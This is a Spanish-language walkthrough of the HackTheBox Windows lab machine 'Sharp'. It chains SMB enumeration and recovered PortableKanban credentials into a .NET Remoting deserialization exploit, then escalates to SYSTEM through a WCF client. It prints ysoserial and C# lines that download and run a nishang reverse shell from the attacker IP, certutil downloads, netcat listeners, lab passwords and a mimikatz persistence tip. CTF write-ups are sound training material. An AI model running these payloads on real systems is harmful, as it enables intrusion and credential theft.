Sharp es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Sharp 10.10.10.219 a /etc/hosts como sharp.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
# Nmap 7.70 scan initiated Fri Jan 22 16:19:53 2021 as: nmap -sC -sV -p- -oA enumeration/nmap 10.10.10.219 Nmap scan report for 10.10.10.219 Host is up (0.055s latency). Not shown: 65530 filtered ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 8888/tcp open sun-answerbook 8889/tcp open mc-nmf .NET Message Framing Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 3m27s, deviation: 0s, median: 3m27s | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-01-22 16:25:29 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Jan 22 16:22:39 2021 -- 1 IP address (1 host up) scanned in 166.10 seconds |
Encontramos varios puertos abiertos en el sistema así que vamos a proceder a enumerar los mismos a ver que información podemos obtener.
Enumeracion
Revisando los puertos comenzamos con smb y obtenemos un listado de directorios:
1 2 3 4 5 6 7 8 9 10 11 |
$ smbmap -H 10.10.10.219 [+] Finding open SMB ports.... [+] User SMB session establishd on 10.10.10.219... [+] IP: 10.10.10.219:445 Name: sharp.htb Disk Permissions ---- ----------- ADMIN$ NO ACCESS C$ NO ACCESS dev NO ACCESS IPC$ NO ACCESS kanban READ ONLY |
Observamos que tenemos permisos de lectura sobre el directorio kanban, aśi que utilizamos de nuevo smbmap para observar el contenido del mismo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
$ smbmap -H 10.10.10.219 -R [+] Finding open SMB ports.... [+] User SMB session establishd on 10.10.10.219... [+] IP: 10.10.10.219:445 Name: sharp.htb Disk Permissions ---- ----------- ADMIN$ NO ACCESS C$ NO ACCESS dev NO ACCESS IPC$ NO ACCESS kanban READ ONLY .\ dr--r--r-- 0 Sat Nov 14 19:57:04 2020 . dr--r--r-- 0 Sat Nov 14 19:57:04 2020 .. -r--r--r-- 58368 Sat Nov 14 19:57:04 2020 CommandLine.dll -r--r--r-- 141312 Sat Nov 14 19:57:04 2020 CsvHelper.dll -r--r--r-- 456704 Sat Nov 14 19:57:04 2020 DotNetZip.dll dr--r--r-- 0 Sat Nov 14 19:57:59 2020 Files -r--r--r-- 23040 Sat Nov 14 19:57:04 2020 Itenso.Rtf.Converter.Html.dll -r--r--r-- 75776 Sat Nov 14 19:57:04 2020 Itenso.Rtf.Interpreter.dll -r--r--r-- 32768 Sat Nov 14 19:57:04 2020 Itenso.Rtf.Parser.dll -r--r--r-- 19968 Sat Nov 14 19:57:04 2020 Itenso.Sys.dll -r--r--r-- 376832 Sat Nov 14 19:57:04 2020 MsgReader.dll -r--r--r-- 133296 Sat Nov 14 19:57:04 2020 Ookii.Dialogs.dll -r--r--r-- 2558011 Sat Nov 14 19:57:04 2020 pkb.zip dr--r--r-- 0 Sat Nov 14 19:57:04 2020 Plugins -r--r--r-- 5819 Sat Nov 14 19:57:04 2020 PortableKanban.cfg -r--r--r-- 118184 Sat Nov 14 19:57:04 2020 PortableKanban.Data.dll -r--r--r-- 1878440 Sat Nov 14 19:57:04 2020 PortableKanban.exe -r--r--r-- 31144 Sat Nov 14 19:57:04 2020 PortableKanban.Extensions.dll -r--r--r-- 2080 Sat Nov 14 19:57:04 2020 PortableKanban.pk3 -r--r--r-- 2080 Sat Nov 14 19:57:04 2020 PortableKanban.pk3.bak -r--r--r-- 34 Sat Nov 14 19:57:04 2020 PortableKanban.pk3.md5 -r--r--r-- 413184 Sat Nov 14 19:57:04 2020 ServiceStack.Common.dll -r--r--r-- 137216 Sat Nov 14 19:57:04 2020 ServiceStack.Interfaces.dll -r--r--r-- 292352 Sat Nov 14 19:57:04 2020 ServiceStack.Redis.dll -r--r--r-- 411648 Sat Nov 14 19:57:04 2020 ServiceStack.Text.dll -r--r--r-- 1050092 Sat Nov 14 19:57:04 2020 User Guide.pdf .\\Plugins\ dr--r--r-- 0 Sat Nov 14 19:57:04 2020 . dr--r--r-- 0 Sat Nov 14 19:57:04 2020 .. -r--r--r-- 64424 Sat Nov 14 19:57:04 2020 PluginsLibrary.dll |
Observamos varios ficheros que pueden ser interesantes, así que vamos a descargarnos todo para poder analizarlo más detenidamente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
$ smbget -R smb://10.10.10.219/kanban Password for [root] connecting to //kanban/10.10.10.219: Using workgroup WORKGROUP, user root smb://10.10.10.219/kanban/CommandLine.dll smb://10.10.10.219/kanban/CsvHelper.dll smb://10.10.10.219/kanban/DotNetZip.dll smb://10.10.10.219/kanban/Itenso.Rtf.Converter.Html.dll smb://10.10.10.219/kanban/Itenso.Rtf.Interpreter.dll smb://10.10.10.219/kanban/Itenso.Rtf.Parser.dll smb://10.10.10.219/kanban/Itenso.Sys.dll smb://10.10.10.219/kanban/MsgReader.dll smb://10.10.10.219/kanban/Ookii.Dialogs.dll smb://10.10.10.219/kanban/pkb.zip smb://10.10.10.219/kanban/Plugins/PluginsLibrary.dll smb://10.10.10.219/kanban/PortableKanban.cfg smb://10.10.10.219/kanban/PortableKanban.Data.dll smb://10.10.10.219/kanban/PortableKanban.exe smb://10.10.10.219/kanban/PortableKanban.Extensions.dll smb://10.10.10.219/kanban/PortableKanban.pk3 smb://10.10.10.219/kanban/PortableKanban.pk3.bak smb://10.10.10.219/kanban/PortableKanban.pk3.md5 smb://10.10.10.219/kanban/ServiceStack.Common.dll smb://10.10.10.219/kanban/ServiceStack.Interfaces.dll smb://10.10.10.219/kanban/ServiceStack.Redis.dll smb://10.10.10.219/kanban/ServiceStack.Text.dll smb://10.10.10.219/kanban/User Guide.pdf Downloaded 7.90MB in 19 seconds |
Revisamos un poco por encima, pero vamos a lanzar un grep sobre todo a ver si podemos dar con alguna password y encontramos un json con las keys cifradas de dos usuarios:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 |
{ "Columns":[ { "Id":"4757781032fd41b2a4511822e2c08850", "SortOrder":0, "Name":"Demo", "Limit":0, "TaskOrder":{ "SortType":"None", "Parameters":[ { "Field":"Completed", "SortOrder":"Descending" }, { "Field":"Deadline", "SortOrder":"Ascending" }, { "Field":"Priority", "SortOrder":"Descending" }, { "Field":"Topic", "SortOrder":"Ascending" }, { "Field":"Person", "SortOrder":"Ascending" } ] }, "AutoComplete":false, "ResetCompleted":false, "TimeStamp":637409769443121006 } ], "Tasks":[ { "Id":"33870d6dfe4146718ba0b2c9f7bc05cf", "SeriesId":"00000000000000000000000000000000", "SortOrder":"oGdBKcFw", "ColumnId":"4757781032fd41b2a4511822e2c08850", "TopicId":"00000000000000000000000000000000", "PersonId":"00000000000000000000000000000000", "Text":"New Task", "Priority":"Low", "Created":"\/Date(1605380100000+0100)\/", "CreatedBy":"e8e29158d70d44b1a1ba4949d52790a0", "Modified":"\/Date(-62135596800000)\/", "ModifiedBy":"00000000000000000000000000000000", "Deadline":"\/Date(1605308400000+0100)\/", "HasDeadline":false, "Completed":"\/Date(1605308400000+0100)\/", "CompletedBy":"00000000000000000000000000000000", "Done":false, "Canceled":false, "Link":"", "Subtasks":[ ], "Tags":[ ], "Estimate":0, "Progress":0, "Points":0, "Comments":[ ], "CustomFields":{ }, "TimeStamp":637409769542424146 } ], "TimeTracks":[ ], "Persons":[ ], "Topics":[ ], "Tags":[ ], "Views":[ ], "Users":[ { "Id":"e8e29158d70d44b1a1ba4949d52790a0", "Name":"Administrator", "Initials":"", "Email":"", "EncryptedPassword":"k+iUoOvQYG98PuhhRC7/rg==", "Role":"Admin", "Inactive":false, "TimeStamp":637409769245503731 }, { "Id":"0628ae1de5234b81ae65c246dd2b4a21", "Name":"lars", "Initials":"", "Email":"", "EncryptedPassword":"Ua3LyPFM175GN8D3+tqwLA==", "Role":"User", "Inactive":false, "TimeStamp":637409769265925613 } ], "ServiceMessages":[ ], "CustomFieldDescriptors":[ ], "MetaData":{ "Id":"ffffffffffffffffffffffffffffffff", "SchemaVersion":"4.2.0.0", "SchemaVersionModified":"\/Date(1605380100000+0100)\/", "SchemaVersionModifiedBy":"e8e29158d70d44b1a1ba4949d52790a0", "SchemaVersionChecked":"\/Date(-62135596800000-0000)\/", "SchemaVersionCheckedBy":"00000000000000000000000000000000", "TimeStamp":637409769001918463 } } |
Que son las siguientes:
1 2 3 4 5 6 7 |
username: Administrator id: e8e29158d70d44b1a1ba4949d52790a0 encpass: k+iUoOvQYG98PuhhRC7/rg== username: lars id: 0628ae1de5234b81ae65c246dd2b4a21 encpass: Ua3LyPFM175GN8D3+tqwLA== |
Revisamos de nuevo los ficheros pero nos fijamos en uno en concreto, el fichero “User Guide.pdf”
en el cual podemos destacar los siguientes puntos:
- page 1 -> el programa es portable, por lo que podemos hacer cambios en los ficheros de configuracion
- page 3 -> no se deben utilizar contraseñas vacías, aunque podemos hacerlo si lo necesitamos
- page 11 -> el usuario por defecto es “Administrator” con la pass vacía
- page 18 -> sugiere que si has olvidado una password, muevas el portable .exe a otro directorio y trates de hacer login con el user admin
- page 22 -> las password están ocultas por defecto en Setup/Users tab
Vistos los puntos importantes del documento, vamos a levantar una vm con windows para ejecutar el programa y tratar de obtener las claves de los usuarios.
Con la máquina con windows levantada, borramos el fichero “PortableKanban.pk3” y ejecutamos el programa, mostrándonos el siguiente mensaje:
El programa ha generado un fichero nuevo en base al backup existente, probamos el login con el usuario administrator y la contraseña vacía, pero nos da un error de acceso denegado:
Así que vamos a editar el fichero de configuración de backup:
Y borramos la password del usuario admin y volvemos a ejecutar el programa, consiguiendo ahora sí, acceder al mismo:
Tal y como decía en la documentación, nos vamos a la configuración de usuarios y vemos los usuarios que encontramos anteriormente:
Y, si desmarcamos la casilla “Hide passwords” obtenemos la clave del usuario lars:
1 |
lars:G123HHrth234gRG |
Ahora que ya tenemos la clave de un usuario, modificamos de nuevo el fichero original de backup y modificamos el rol del usuario lars a admin y volvemos a entrar, consiguiendo en este caso descifrar la key del usuario Administrator:
1 |
Administrator:G2@$btRSHJYTarg |
Ahora que ya tenemos las claves de los dos usuarios, vamos a verificar si podemos utilizar alguna de ellas para acceder por smb, utilizaremos para ello la tool crackmapexec
1 2 3 4 5 6 7 8 9 10 11 |
$ crackmapexec smb 10.10.10.219 -u usernames.txt -p passwords.txt [*] First time use detected [*] Creating home directory structure [*] Initializing the database [*] Copying default configuration file [*] Generating SSL certificate CME 10.10.10.219:445 SHARP [*] Windows 10.0 Build 17763 (name:SHARP) (domain:SHARP) CME 10.10.10.219:445 SHARP [-] SHARP\Administrator:G123HHrth234gRG STATUS_LOGON_FAILURE CME 10.10.10.219:445 SHARP [-] SHARP\Administrator:G2@$btRSHJYTarg STATUS_LOGON_FAILURE CME 10.10.10.219:445 SHARP [+] SHARP\lars:G123HHrth234gRG [*] KTHXBYE! |
Y obtenemos un usuario válido así que volvemos a smb para ver que podemos obtener con el mismo y vemos una carpeta nueva:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
$ smbmap -H 10.10.10.219 -R -u lars -p G123HHrth234gRG [+] Finding open SMB ports.... [+] User SMB session establishd on 10.10.10.219... [+] IP: 10.10.10.219:445 Name: sharp.htb Disk Permissions ---- ----------- ADMIN$ NO ACCESS C$ NO ACCESS dev READ ONLY .\ dr--r--r-- 0 Sun Nov 15 12:30:13 2020 . dr--r--r-- 0 Sun Nov 15 12:30:13 2020 .. -r--r--r-- 5632 Sun Nov 15 11:25:01 2020 Client.exe -r--r--r-- 70 Sun Nov 15 14:59:02 2020 notes.txt -r--r--r-- 4096 Sun Nov 15 11:25:01 2020 RemotingLibrary.dll -r--r--r-- 6144 Mon Nov 16 12:55:44 2020 Server.exe IPC$ READ ONLY .\ -r--r--r-- 3 Sun Dec 31 23:45:16 1600 InitShutdown -r--r--r-- 4 Sun Dec 31 23:45:16 1600 lsass -r--r--r-- 3 Sun Dec 31 23:45:16 1600 ntsvcs -r--r--r-- 3 Sun Dec 31 23:45:16 1600 scerpc -r--r--r-- 1 Sun Dec 31 23:45:16 1600 Winsock2\CatalogChangeListener-358-0 -r--r--r-- 3 Sun Dec 31 23:45:16 1600 epmapper -r--r--r-- 1 Sun Dec 31 23:45:16 1600 Winsock2\CatalogChangeListener-1e4-0 -r--r--r-- 3 Sun Dec 31 23:45:16 1600 LSM_API_service -r--r--r-- 3 Sun Dec 31 23:45:16 1600 eventlog -r--r--r-- 1 Sun Dec 31 23:45:16 1600 Winsock2\CatalogChangeListener-154-0 -r--r--r-- 3 Sun Dec 31 23:45:16 1600 atsvc -r--r--r-- 4 Sun Dec 31 23:45:16 1600 wkssvc -r--r--r-- 1 Sun Dec 31 23:45:16 1600 Winsock2\CatalogChangeListener-42c-0 -r--r--r-- 3 Sun Dec 31 23:45:16 1600 W32TIME_ALT -r--r--r-- 4 Sun Dec 31 23:45:16 1600 srvsvc -r--r--r-- 1 Sun Dec 31 23:45:16 1600 vgauth-service -r--r--r-- 1 Sun Dec 31 23:45:16 1600 Winsock2\CatalogChangeListener-268-0 -r--r--r-- 1 Sun Dec 31 23:45:16 1600 Winsock2\CatalogChangeListener-270-0 -r--r--r-- 1 Sun Dec 31 23:45:16 1600 PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER kanban NO ACCESS |
Y nos descargaremos todo el contenido de la carpeta dev:
1 2 3 4 5 6 7 8 |
$ smbget -R smb://10.10.10.219/dev -U lars Password for [lars] connecting to //dev/10.10.10.219: Using workgroup WORKGROUP, user lars smb://10.10.10.219/dev/Client.exe smb://10.10.10.219/dev/notes.txt smb://10.10.10.219/dev/RemotingLibrary.dll smb://10.10.10.219/dev/Server.exe Downloaded 15.57kB in 3 seconds |
Se trata de ficheros exe, donde vemos un cliente y un servidor y una librería que nos da algo de información de lo que vendrá a continuación, así que volvemos al windows y utilizaremos dnspy para revisar el código de los ficheros obtenidos:
Revisamos la aplicación y encontramos unas claves en el fichero client.exe
1 |
debug:SharpApplicationDebugUserPassword123! |
Y también la dirección a la que la aplicación se conecta:
1 |
tcp://localhost:8888/SecretSharpDebugApplicationEndpoint |
Ya tenemos algo importante, pero ahora que hacemos con ello. Nos vamos a google y buscamos acerca de Remoting.Channels.Tcp y encontramos un exploit en github para realizar la explotación de este servicio:
https://github.com/tyranid/ExploitRemotingService
En nuestro caso lo hemos compilado, pero para aquellos que les resulte complicada esta tarea, también está disponible el mismo precompilado:
https://github.com/parteeksingh005/ExploitRemotingService_Compiled
Ahora que ya conocemos como explotar este servicio, tendremos que realizar varios pasos previos para poder continuar:
- Descargar python en windows si no lo tenemos y levantarlo
- Descargar netcat
- Descargar la reverse shell de nishang
- Crear una reverse shell serializada con ysoserial
- Conectar a la maquina con el binario compilado con nuestra reverse shell
Así que vamos a ir haciendo todos los pasos.
Levantamos en primer lugar un server con python en la ruta donde tengamos nuestra reverse shell:
1 |
python3 -m http.server 80 |
Levantamos una escucha con netcat
1 |
nc64.exe -nvlp 4444 |
Editaremos el fichero ps1 de nishang añadiendo al final el siguiente código:
1 |
Invoke-PowerShellTcp -Reverse -IPAddress [Your IP] -Port [Your listner port] |
A continuación generaremos nuestro payload con ysoserial
1 |
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(new-object net.webclient).downloadstring('http://10.10.14.11/Invoke-PowerShellTcp.ps1')" |
Y por último ejecutamos nuestro exploit
1 |
ExploitRemotingService.exe -s --user=debug --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw [your payload] |
La ejecución del exploit generará el siguiente error:
1 2 3 |
System.InvalidCastException: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'. at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel) at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream) |
El mismo no es relevante, donde tenemos que hacer hincapié a continuación es en nuestro server en python donde veremos como se ha descargado nuestro fichero (si te da problemas este paso, tal vez tengas que revisar el firewall de windows):
Y, si revisamos nuestra escucha en netcat veremos que tenemos una shell con el usuario lars:
1 2 3 4 5 6 7 8 9 |
c:\Users\sample\Desktop\sharp>nc64.exe -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.219] 49695 Windows PowerShell running as user lars on SHARP Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\Windows\system32>PS C:\Windows\system32> whoami sharp\lars |
Obteniendo la flag de user
Una vez que tenemos la shell con el usuario lars, nos vamos al escritorio de este usuario para conseguir la flag de user:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
c:\Users\sample\Desktop\sharp>nc64.exe -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.219] 49695 Windows PowerShell running as user lars on SHARP Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\Windows\system32>PS C:\Windows\system32> whoami sharp\lars PS C:\Windows\system32> cd c:\users\lars\desktop # y obtenemos la flag de user PS C:\users\lars\desktop> dir Directory: C:\users\lars\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 2/10/2021 3:07 PM 34 user.txt PS C:\users\lars\desktop> type user.txt 2xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx9 PS C:\users\lars\desktop> |
Escalado de privilegios
Ahora, si recordamos el fichero que obtuvimos en la carpeta del smb decía lo siguiente:
1 2 3 4 |
$ cat data/smb/dev/notes.txt Todo: Migrate from .Net remoting to WCF Add input validation |
Queda pendiente migrar la app de .Net a Wcf por lo que buscamos en la home del usuario y obtenemos una carpeta con este nombre en el directorio de documents:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
PS C:\users\lars> cd documents PS C:\users\lars\documents> dir Directory: C:\users\lars\documents Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 11/15/2020 1:40 PM wcf PS C:\users\lars\documents> |
Así que vamos a comprimir esa carpeta:
1 |
Compress-Archive -LiteralPath C:\users\lars\Documents\wcf -DestinationPath C:\users\lars\Documents\wcf.zip |
Y la moveremos al directorio dev del smb para poder descarganos el fichero:
1 |
move-item -path C:\users\lars\Documents\wcf.zip -destination c:\dev |
Revisamos el contenido del mismo desde visual studio y encontramos algo interesante en el ejecutable de Client:
Y dentro de Main encontramos el string de conexión de la aplicación:
Asumimos que esta aplicación se está ejecutando con privilegios elevados, así que añadiremos la siguiente línea después del último WriteLine para crear una reverse shell:
1 |
Console.WriteLine(client.InvokePowerShell("IEX (new-object net.webclient).downloadstring('http://10.10.14.11/Invoke-PowerShellTcp.ps1')")); |
Y compilaremos nuestro programa:
Ahora que ya tenemos el programa compilado, necesitamos subirlo a la máquina, pero no tenemos permisos para escribir en el smb así que movemos los ficheros exe y dll generados a la carpeta donde tenemos levantado nuestro server con python y nos descargamos los mismos desde la shell abierta del usuario lars con los siguientes comandos:
1 2 |
certutil -urlcache -split -f "http://10.10.14.11/wcf/WcfRemotingLibrary.dll" WcfRemotingLibrary.dll certutil -urlcache -split -f "http://10.10.14.11/wcf/WcfClient.exe" WcfClient.exe |
Y los ejecutamos en la máquina:
1 2 3 4 5 6 7 8 9 10 11 12 |
PS C:\users\lars\documents> certutil -urlcache -split -f "http://10.10.14.11/wcf/WcfRemotingLibrary.dll" WcfRemotingLibrary.dll **** Online **** 0000 ... 1e00 CertUtil: -URLCache command completed successfully. PS C:\users\lars\documents> certutil -urlcache -split -f "http://10.10.14.11/wcf/WcfClient.exe" WcfClient.exe **** Online **** 0000 ... 1600 CertUtil: -URLCache command completed successfully. PS C:\users\lars\documents> PS C:\users\lars\documents> |
El último paso será levantar otra escucha en netcat en otro puerto diferente al que utilizamos anteriormente y ejecutar nuestro fichero:
1 |
PS C:\users\lars\documents> .\WcfClient.exe |
Y obtendremos la shell como system:
1 2 3 4 5 6 7 8 |
c:\Users\sample\Desktop\sharp>nc64.exe -nlvp 5555 listening on [any] 5555 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.219] 49705 Windows PowerShell running as user SHARP$ on SHARP Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\Windows\system32>whoami nt authority\system |
Obteniendo la flag de root
Ahora que ya tenemos nuestra shell con system, nos queda ir al escritorio del usuario Administrator para obtener nuestra flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
c:\Users\sample\Desktop\sharp>nc64.exe -nlvp 5555 listening on [any] 5555 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.219] 49705 Windows PowerShell running as user SHARP$ on SHARP Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\Windows\system32>whoami nt authority\system PS C:\Windows\system32> # nos vamos a la home de administrator y obtenemos la flag de root PS C:\Windows\system32> cd c:\users\administrator\desktop PS C:\users\administrator\desktop> dir Directory: C:\users\administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 2/10/2021 3:07 PM 34 root.txt PS C:\users\administrator\desktop> type root.txt fxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx7 PS C:\users\administrator\desktop> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Como último paso, y para ganar persistencia, podemos lanzar mimikatz para obtener el hash del usuario administrator y poder acceder de nuevo si lo vemos necesario.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace